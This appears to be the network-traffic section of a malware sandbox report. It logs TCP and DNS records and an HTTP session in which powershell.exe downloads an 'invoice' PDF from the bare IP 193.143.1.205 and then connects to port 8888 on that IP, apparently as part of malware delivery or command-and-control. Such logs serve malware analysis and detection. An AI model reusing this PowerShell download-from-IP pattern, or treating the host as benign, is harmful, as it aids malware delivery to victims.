Jan 10, 2025 15:01:23.693042040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693053007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693063021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693069935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693069935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693069935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693141937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693141937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693217993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693229914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693239927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693250895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693262100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693541050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.693541050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.696167946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.936881065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.936896086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.936911106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.936965942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937063932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937063932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937124968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937138081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937149048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937160969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937170982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937171936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937182903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937195063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937205076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937216043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937227011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937246084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.937252045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937252045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937367916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.937367916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939366102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939378023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939388990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939400911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939414024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939429998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939443111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939457893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939472914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939481020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939481020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939481020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939488888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939502954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939513922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939527988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939544916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939549923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939549923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939572096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939610004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939639091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939650059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939662933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939676046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.939713001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.939713001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940063953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940076113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940088987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940099955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940114975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940121889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940125942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940130949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940135956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940140963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940145016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940150976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940154076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940154076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940155983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940159082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940213919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940213919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940243006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940260887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940278053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940293074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940306902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940309048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940309048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940320969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940335989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940350056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940362930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940375090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940385103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940390110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940391064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940398932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940408945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940419912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940431118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940443039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940457106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940469980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940502882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940502882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940502882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940795898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.940979958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.940995932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941009045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941021919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941039085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941044092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941047907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941052914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941062927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941067934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941067934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941076040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941109896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941109896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941147089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941159964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941171885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941181898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941199064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941209078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941214085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941220045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941231966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941241980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941252947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941265106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941276073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941279888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941279888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941279888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941287994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941298962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941309929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941317081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941328049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941339016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941349983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941349983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941349983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941349983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941363096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.941411018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.941411018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942089081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942112923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942125082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942136049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942147017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942157984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942169905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942181110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942193985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942209959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942212105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942212105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942212105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942222118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942233086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942249060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942255020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942260027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942264080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942269087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942272902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942276955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942289114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942290068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942290068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942290068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942301035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942344904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942344904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942344904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942693949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942708969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942723036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942775011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942775011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.942953110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942966938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942981005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.942995071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.943015099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.943068981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.943068981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.944209099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.944730043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.944742918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.944756031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.944766998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.944780111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.944780111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.944827080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.944902897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945143938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945203066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945214033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945225000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945235968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945246935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945254087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945259094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945271015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945282936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945291042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945291042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945292950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945307970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945322037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945372105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945372105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945372105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945525885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945538044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945548058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945569992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945580959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945590019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945595026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945595026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945602894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945621967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945696115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945708990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945719957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945730925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945740938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945751905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945765018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945770025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945780039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945790052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945795059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945795059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945795059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945801973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945815086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945825100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945842981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945854902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.945858955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945858955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945858955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.945911884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.991581917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.141640902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.148297071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.283332109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.801301003 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.806250095 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:24.806368113 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.806782007 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:24.811497927 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:25.632149935 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:25.679042101 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:27.212023020 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:01:32.531140089 CET	53849	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:01:32.531140089 CET	192.168.2.8	1.1.1.1	0x3d26	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:01:32.538367033 CET	1.1.1.1	192.168.2.8	0x3d26	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:01:33.233092070 CET	1.1.1.1	192.168.2.8	0x6f71	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:01:33.233092070 CET	1.1.1.1	192.168.2.8	0x6f71	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	1980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:01:22.375896931 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 15:01:23.134572983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 15:01:23.134593964 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 15:01:23.134604931 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 15:01:23.134615898 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
